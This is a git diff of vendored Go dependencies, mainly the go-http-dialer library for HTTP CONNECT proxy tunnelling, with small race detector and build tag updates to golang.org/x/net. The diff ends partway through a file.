<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>
|
||||
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html>
|
197
vendor/github.com/mwitkow/go-http-dialer/.gitignore
generated
vendored
Normal file
197
vendor/github.com/mwitkow/go-http-dialer/.gitignore
generated
vendored
Normal file
@ -0,0 +1,197 @@
|
||||
# Created by .ignore support plugin (hsz.mobi)
|
||||
### Go template
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
*.prof
|
||||
### Windows template
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
### Kate template
|
||||
# Swap Files #
|
||||
.*.kate-swp
|
||||
.swp.*
|
||||
### SublimeText template
|
||||
# cache files for sublime text
|
||||
*.tmlanguage.cache
|
||||
*.tmPreferences.cache
|
||||
*.stTheme.cache
|
||||
|
||||
# workspace files are user-specific
|
||||
*.sublime-workspace
|
||||
|
||||
# project files should be checked into the repository, unless a significant
|
||||
# proportion of contributors will probably not be using SublimeText
|
||||
# *.sublime-project
|
||||
|
||||
# sftp configuration file
|
||||
sftp-config.json
|
||||
### Linux template
|
||||
*~
|
||||
|
||||
# temporary files which can be created if a process still has a handle open of a deleted file
|
||||
.fuse_hidden*
|
||||
|
||||
# KDE directory preferences
|
||||
.directory
|
||||
|
||||
# Linux trash folder which might appear on any partition or disk
|
||||
.Trash-*
|
||||
### JetBrains template
|
||||
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm
|
||||
# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
|
||||
|
||||
# User-specific stuff:
|
||||
.idea
|
||||
.idea/tasks.xml
|
||||
.idea/dictionaries
|
||||
.idea/vcs.xml
|
||||
.idea/jsLibraryMappings.xml
|
||||
|
||||
# Sensitive or high-churn files:
|
||||
.idea/dataSources.ids
|
||||
.idea/dataSources.xml
|
||||
.idea/dataSources.local.xml
|
||||
.idea/sqlDataSources.xml
|
||||
.idea/dynamic.xml
|
||||
.idea/uiDesigner.xml
|
||||
|
||||
# Gradle:
|
||||
.idea/gradle.xml
|
||||
.idea/libraries
|
||||
|
||||
# Mongo Explorer plugin:
|
||||
.idea/mongoSettings.xml
|
||||
|
||||
## File-based project format:
|
||||
*.iws
|
||||
|
||||
## Plugin-specific files:
|
||||
|
||||
# IntelliJ
|
||||
/out/
|
||||
|
||||
# mpeltonen/sbt-idea plugin
|
||||
.idea_modules/
|
||||
|
||||
# JIRA plugin
|
||||
atlassian-ide-plugin.xml
|
||||
|
||||
# Crashlytics plugin (for Android Studio and IntelliJ)
|
||||
com_crashlytics_export_strings.xml
|
||||
crashlytics.properties
|
||||
crashlytics-build.properties
|
||||
fabric.properties
|
||||
### Xcode template
|
||||
# Xcode
|
||||
#
|
||||
# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore
|
||||
|
||||
## Build generated
|
||||
build/
|
||||
DerivedData/
|
||||
|
||||
## Various settings
|
||||
*.pbxuser
|
||||
!default.pbxuser
|
||||
*.mode1v3
|
||||
!default.mode1v3
|
||||
*.mode2v3
|
||||
!default.mode2v3
|
||||
*.perspectivev3
|
||||
!default.perspectivev3
|
||||
xcuserdata/
|
||||
|
||||
## Other
|
||||
*.moved-aside
|
||||
*.xccheckout
|
||||
*.xcscmblueprint
|
||||
### Eclipse template
|
||||
|
||||
.metadata
|
||||
bin/
|
||||
tmp/
|
||||
*.tmp
|
||||
*.bak
|
||||
*.swp
|
||||
*~.nib
|
||||
local.properties
|
||||
.settings/
|
||||
.loadpath
|
||||
.recommenders
|
||||
|
||||
# Eclipse Core
|
||||
.project
|
||||
|
||||
# External tool builders
|
||||
.externalToolBuilders/
|
||||
|
||||
# Locally stored "Eclipse launch configurations"
|
||||
*.launch
|
||||
|
||||
# PyDev specific (Python IDE for Eclipse)
|
||||
*.pydevproject
|
||||
|
||||
# CDT-specific (C/C++ Development Tooling)
|
||||
.cproject
|
||||
|
||||
# JDT-specific (Eclipse Java Development Tools)
|
||||
.classpath
|
||||
|
||||
# Java annotation processor (APT)
|
||||
.factorypath
|
||||
|
||||
# PDT-specific (PHP Development Tools)
|
||||
.buildpath
|
||||
|
||||
# sbteclipse plugin
|
||||
.target
|
||||
|
||||
# Tern plugin
|
||||
.tern-project
|
||||
|
||||
# TeXlipse plugin
|
||||
.texlipse
|
||||
|
||||
# STS (Spring Tool Suite)
|
||||
.springBeans
|
||||
|
||||
# Code Recommenders
|
||||
.recommenders/
|
||||
|
14
vendor/github.com/mwitkow/go-http-dialer/.travis.yml
generated
vendored
Normal file
14
vendor/github.com/mwitkow/go-http-dialer/.travis.yml
generated
vendored
Normal file
@ -0,0 +1,14 @@
|
||||
language: go
|
||||
sudo: false
|
||||
|
||||
go:
|
||||
- 1.7
|
||||
|
||||
install:
|
||||
- go get google.golang.org/grpc
|
||||
- go get golang.org/x/net/context
|
||||
- go get github.com/stretchr/testify
|
||||
- go get github.com/elazarl/goproxy
|
||||
|
||||
script:
|
||||
- go test -race -v ./...
|
201
vendor/github.com/mwitkow/go-http-dialer/LICENSE
generated
vendored
Normal file
201
vendor/github.com/mwitkow/go-http-dialer/LICENSE
generated
vendored
Normal file
@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
35
vendor/github.com/mwitkow/go-http-dialer/README.md
generated
vendored
Normal file
35
vendor/github.com/mwitkow/go-http-dialer/README.md
generated
vendored
Normal file
@ -0,0 +1,35 @@
|
||||
# HTTP CONNECT tunneling Go Dialer
|
||||
|
||||
[](https://travis-ci.org/mwitkow/go-http-dialer)
|
||||
[](http://goreportcard.com/report/mwitkow/go-http-dialer)
|
||||
[](https://godoc.org/github.com/mwitkow/go-http-dialer)
|
||||
[](LICENSE)
|
||||
|
||||
A `net.Dialer` drop-in that establishes the TCP connection over an [HTTP CONNECT Tunnel](https://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_tunneling).
|
||||
|
||||
## Why?!
|
||||
|
||||
Some enterprises have fairly restrictive networking environments. They typically operate [HTTP forward proxies](https://en.wikipedia.org/wiki/Proxy_server) that require user authentication. These proxies usually allow HTTPS (TCP to `:443`) to pass through the proxy using the [`CONNECT`](https://tools.ietf.org/html/rfc2616#section-9.9) method. The `CONNECT` method is basically a HTTP-negotiated "end-to-end" TCP stream... which is exactly what [`net.Conn`](https://golang.org/pkg/net/#Conn) is :)
|
||||
|
||||
## But, really, why?
|
||||
|
||||
Because if you want to call [gRPC](http://www.grpc.io/) services which are exposed publicly over `:443` TLS over an HTTP proxy, you can't.
|
||||
|
||||
Also, this allows you to call any TCP service over HTTP `CONNECT`... if your proxy allows you to `¯\(ツ)/¯`
|
||||
|
||||
## Supported features
|
||||
|
||||
- [x] unencrypted connection to proxy (e.g. `http://proxy.example.com:3128`
|
||||
- [x] TLS connection to proxy (customizeable) (e.g. `https://proxy.example.com`)
|
||||
- [x] customizeable for `Proxy-Authenticate`, with challenge-response semantics
|
||||
- [x] out of the box support for `Basic` auth
|
||||
- [ ] appropriate `RemoteAddr` remapping
|
||||
|
||||
|
||||
## Usage with gRPC
|
||||
|
||||
|
||||
|
||||
## License
|
||||
|
||||
`go-http-dialer` is released under the Apache 2.0 license. See the [LICENSE](LICENSE) file for details.
|
55
vendor/github.com/mwitkow/go-http-dialer/auth.go
generated
vendored
Normal file
55
vendor/github.com/mwitkow/go-http-dialer/auth.go
generated
vendored
Normal file
@ -0,0 +1,55 @@
|
||||
// Copyright 2016 Michal Witkowski. All Rights Reserved.
|
||||
// See LICENSE for licensing terms.
|
||||
|
||||
package http_dialer
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
const (
|
||||
hdrProxyAuthResp = "Proxy-Authorization"
|
||||
hdrProxyAuthReq = "Proxy-Authenticate"
|
||||
)
|
||||
|
||||
// ProxyAuthorization allows for plugging in arbitrary implementations of the "Proxy-Authorization" handler.
|
||||
type ProxyAuthorization interface {
|
||||
// Type represents what kind of Authorization, e.g. "Bearer", "Token", "Digest".
|
||||
Type() string
|
||||
|
||||
// Initial allows you to specify an a-priori "Proxy-Authenticate" response header, attached to first request,
|
||||
// so you don't need to wait for an additional challenge. If empty string is returned, "Proxy-Authenticate"
|
||||
// header is added.
|
||||
InitialResponse() string
|
||||
|
||||
// ChallengeResponse returns the content of the "Proxy-Authenticate" response header, that has been chose as
|
||||
// response to "Proxy-Authorization" request header challenge.
|
||||
ChallengeResponse(challenge string) string
|
||||
}
|
||||
|
||||
type basicAuth struct {
|
||||
username string
|
||||
password string
|
||||
}
|
||||
|
||||
// AuthBasic returns a ProxyAuthorization that implements "Basic" protocol while ignoring realm challanges.
|
||||
func AuthBasic(username string, password string) ProxyAuthorization {
|
||||
return &basicAuth{username: username, password: password}
|
||||
}
|
||||
|
||||
func (b *basicAuth) Type() string {
|
||||
return "Basic"
|
||||
}
|
||||
|
||||
func (b *basicAuth) InitialResponse() string {
|
||||
return b.authString()
|
||||
}
|
||||
|
||||
func (b *basicAuth) ChallengeResponse(challenge string) string {
|
||||
// challenge can be realm="proxy.com"
|
||||
// TODO(mwitkow): Implement realm lookup in AuthBasicWithRealm.
|
||||
return b.authString()
|
||||
}
|
||||
|
||||
func (b *basicAuth) authString() string {
|
||||
resp := b.username + ":" + b.password
|
||||
return base64.StdEncoding.EncodeToString([]byte(resp))
|
||||
}
|
158
vendor/github.com/mwitkow/go-http-dialer/dialer.go
generated
vendored
Normal file
158
vendor/github.com/mwitkow/go-http-dialer/dialer.go
generated
vendored
Normal file
@ -0,0 +1,158 @@
|
||||
// Copyright 2016 Michal Witkowski. All Rights Reserved.
|
||||
// See LICENSE for licensing terms.
|
||||
|
||||
// Package http_dialer provides HTTP(S) CONNECT tunneling net.Dialer. It allows you to
|
||||
// establish arbitrary TCP connections (as long as your proxy allows them) through a HTTP(S) CONNECT point.
|
||||
package http_dialer
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type opt func(*HttpTunnel)
|
||||
|
||||
// New constructs an HttpTunnel to be used a net.Dial command.
|
||||
// The first parameter is a proxy URL, for example https://foo.example.com:9090 will use foo.example.com as proxy on
|
||||
// port 9090 using TLS for connectivity.
|
||||
// Optional customization parameters are available, e.g.: WithTls, WithDialer, WithConnectionTimeout
|
||||
func New(proxyUrl *url.URL, opts ...opt) *HttpTunnel {
|
||||
t := &HttpTunnel{
|
||||
parentDialer: &net.Dialer{},
|
||||
}
|
||||
t.parseProxyUrl(proxyUrl)
|
||||
for _, opt := range opts {
|
||||
opt(t)
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// WithTls sets the tls.Config to be used (e.g. CA certs) when connecting to an HTTP proxy over TLS.
|
||||
func WithTls(tlsConfig *tls.Config) opt {
|
||||
return func(t *HttpTunnel) {
|
||||
t.tlsConfig = tlsConfig
|
||||
}
|
||||
}
|
||||
|
||||
// WithDialer allows the customization of the underlying net.Dialer used for establishing TCP connections to the proxy.
|
||||
func WithDialer(dialer *net.Dialer) opt {
|
||||
return func(t *HttpTunnel) {
|
||||
t.parentDialer = dialer
|
||||
}
|
||||
}
|
||||
|
||||
// WithConnectionTimeout customizes the underlying net.Dialer.Timeout.
|
||||
func WithConnectionTimeout(timeout time.Duration) opt {
|
||||
return func(t *HttpTunnel) {
|
||||
t.parentDialer.Timeout = timeout
|
||||
}
|
||||
}
|
||||
|
||||
// WithProxyAuth allows you to add ProxyAuthorization to calls.
|
||||
func WithProxyAuth(auth ProxyAuthorization) opt {
|
||||
return func(t *HttpTunnel) {
|
||||
t.auth = auth
|
||||
}
|
||||
}
|
||||
|
||||
// HttpTunnel represents a configured HTTP Connect Tunnel dialer.
|
||||
type HttpTunnel struct {
|
||||
parentDialer *net.Dialer
|
||||
isTls bool
|
||||
proxyAddr string
|
||||
tlsConfig *tls.Config
|
||||
auth ProxyAuthorization
|
||||
}
|
||||
|
||||
func (t *HttpTunnel) parseProxyUrl(proxyUrl *url.URL) {
|
||||
t.proxyAddr = proxyUrl.Host
|
||||
if strings.ToLower(proxyUrl.Scheme) == "https" {
|
||||
if !strings.Contains(t.proxyAddr, ":") {
|
||||
t.proxyAddr = t.proxyAddr + ":443"
|
||||
}
|
||||
t.isTls = true
|
||||
} else {
|
||||
if !strings.Contains(t.proxyAddr, ":") {
|
||||
t.proxyAddr = t.proxyAddr + ":8080"
|
||||
}
|
||||
t.isTls = false
|
||||
}
|
||||
}
|
||||
|
||||
func (t *HttpTunnel) dialProxy() (net.Conn, error) {
|
||||
if !t.isTls {
|
||||
return t.parentDialer.Dial("tcp", t.proxyAddr)
|
||||
}
|
||||
return tls.DialWithDialer(t.parentDialer, "tcp", t.proxyAddr, t.tlsConfig)
|
||||
}
|
||||
|
||||
// Dial is an implementation of net.Dialer, and returns a TCP connection handle to the host that HTTP CONNECT reached.
|
||||
func (t *HttpTunnel) Dial(network string, address string) (net.Conn, error) {
|
||||
if network != "tcp" {
|
||||
return nil, fmt.Errorf("network type '%v' unsupported (only 'tcp')", network)
|
||||
}
|
||||
conn, err := t.dialProxy()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("http_tunnel: failed dialing to proxy: %v", err)
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: "CONNECT",
|
||||
URL: &url.URL{Opaque: address},
|
||||
Host: address, // This is weird
|
||||
Header: make(http.Header),
|
||||
}
|
||||
if t.auth != nil && t.auth.InitialResponse() != "" {
|
||||
req.Header.Set(hdrProxyAuthResp, t.auth.Type() + " " + t.auth.InitialResponse())
|
||||
}
|
||||
resp, err := t.doRoundtrip(conn, req)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
// Retry request with auth, if available.
|
||||
if resp.StatusCode == http.StatusProxyAuthRequired && t.auth != nil {
|
||||
responseHdr, err := t.performAuthChallengeResponse(resp)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set(hdrProxyAuthResp, t.auth.Type() + " " + responseHdr)
|
||||
resp, err = t.doRoundtrip(conn, req)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("http_tunnel: failed proxying %d: %s", resp.StatusCode, resp.Status)
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
func (t *HttpTunnel) doRoundtrip(conn net.Conn, req *http.Request) (*http.Response, error) {
|
||||
if err := req.Write(conn); err != nil {
|
||||
return nil, fmt.Errorf("http_tunnel: failed writing request: %v", err)
|
||||
}
|
||||
// Doesn't matter, discard this bufio.
|
||||
br := bufio.NewReader(conn)
|
||||
return http.ReadResponse(br, req)
|
||||
|
||||
}
|
||||
|
||||
func (t *HttpTunnel) performAuthChallengeResponse(resp *http.Response) (string, error) {
|
||||
respAuthHdr := resp.Header.Get(hdrProxyAuthReq)
|
||||
if !strings.Contains(respAuthHdr, t.auth.Type() + " ") {
|
||||
return "", fmt.Errorf("http_tunnel: expected '%v' Proxy authentication, got: '%v'", t.auth.Type(), respAuthHdr)
|
||||
}
|
||||
splits := strings.SplitN(respAuthHdr, " ", 2)
|
||||
challenge := splits[1]
|
||||
return t.auth.ChallengeResponse(challenge), nil
|
||||
}
|
2
vendor/golang.org/x/net/idna/tables11.0.0.go
generated
vendored
2
vendor/golang.org/x/net/idna/tables11.0.0.go
generated
vendored
@ -1,6 +1,6 @@
|
||||
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
|
||||
|
||||
// +build go1.13
|
||||
// +build go1.13,!go1.14
|
||||
|
||||
package idna
|
||||
|
||||
|
4733
vendor/golang.org/x/net/idna/tables12.00.go
generated
vendored
Normal file
4733
vendor/golang.org/x/net/idna/tables12.00.go
generated
vendored
Normal file
File diff suppressed because it is too large
Load Diff
12
vendor/golang.org/x/net/internal/socket/norace.go
generated
vendored
Normal file
12
vendor/golang.org/x/net/internal/socket/norace.go
generated
vendored
Normal file
@ -0,0 +1,12 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build !race
|
||||
|
||||
package socket
|
||||
|
||||
func (m *Message) raceRead() {
|
||||
}
|
||||
func (m *Message) raceWrite() {
|
||||
}
|
37
vendor/golang.org/x/net/internal/socket/race.go
generated
vendored
Normal file
37
vendor/golang.org/x/net/internal/socket/race.go
generated
vendored
Normal file
@ -0,0 +1,37 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build race
|
||||
|
||||
package socket
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// This package reads and writes the Message buffers using a
|
||||
// direct system call, which the race detector can't see.
|
||||
// These functions tell the race detector what is going on during the syscall.
|
||||
|
||||
func (m *Message) raceRead() {
|
||||
for _, b := range m.Buffers {
|
||||
if len(b) > 0 {
|
||||
runtime.RaceReadRange(unsafe.Pointer(&b[0]), len(b))
|
||||
}
|
||||
}
|
||||
if b := m.OOB; len(b) > 0 {
|
||||
runtime.RaceReadRange(unsafe.Pointer(&b[0]), len(b))
|
||||
}
|
||||
}
|
||||
func (m *Message) raceWrite() {
|
||||
for _, b := range m.Buffers {
|
||||
if len(b) > 0 {
|
||||
runtime.RaceWriteRange(unsafe.Pointer(&b[0]), len(b))
|
||||
}
|
||||
}
|
||||
if b := m.OOB; len(b) > 0 {
|
||||
runtime.RaceWriteRange(unsafe.Pointer(&b[0]), len(b))
|
||||
}
|
||||
}
|
6
vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go
generated
vendored
6
vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go
generated
vendored
@ -13,6 +13,9 @@ import (
|
||||
)
|
||||
|
||||
func (c *Conn) recvMsgs(ms []Message, flags int) (int, error) {
|
||||
for i := range ms {
|
||||
ms[i].raceWrite()
|
||||
}
|
||||
hs := make(mmsghdrs, len(ms))
|
||||
var parseFn func([]byte, string) (net.Addr, error)
|
||||
if c.network != "tcp" {
|
||||
@ -43,6 +46,9 @@ func (c *Conn) recvMsgs(ms []Message, flags int) (int, error) {
|
||||
}
|
||||
|
||||
func (c *Conn) sendMsgs(ms []Message, flags int) (int, error) {
|
||||
for i := range ms {
|
||||
ms[i].raceRead()
|
||||
}
|
||||
hs := make(mmsghdrs, len(ms))
|
||||
var marshalFn func(net.Addr) []byte
|
||||
if c.network != "tcp" {
|
||||
|
2
vendor/golang.org/x/net/internal/socket/rawconn_msg.go
generated
vendored
2
vendor/golang.org/x/net/internal/socket/rawconn_msg.go
generated
vendored
@ -12,6 +12,7 @@ import (
|
||||
)
|
||||
|
||||
func (c *Conn) recvMsg(m *Message, flags int) error {
|
||||
m.raceWrite()
|
||||
var h msghdr
|
||||
vs := make([]iovec, len(m.Buffers))
|
||||
var sa []byte
|
||||
@ -48,6 +49,7 @@ func (c *Conn) recvMsg(m *Message, flags int) error {
|
||||
}
|
||||
|
||||
func (c *Conn) sendMsg(m *Message, flags int) error {
|
||||
m.raceRead()
|
||||
var h msghdr
|
||||
vs := make([]iovec, len(m.Buffers))
|
||||
var sa []byte
|
||||
|
27
vendor/golang.org/x/net/internal/socket/sys_dragonfly.go
generated
vendored
27
vendor/golang.org/x/net/internal/socket/sys_dragonfly.go
generated
vendored
@ -4,4 +4,29 @@
|
||||
|
||||
package socket
|
||||
|
||||
func probeProtocolStack() int { return 4 }
|
||||
import (
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
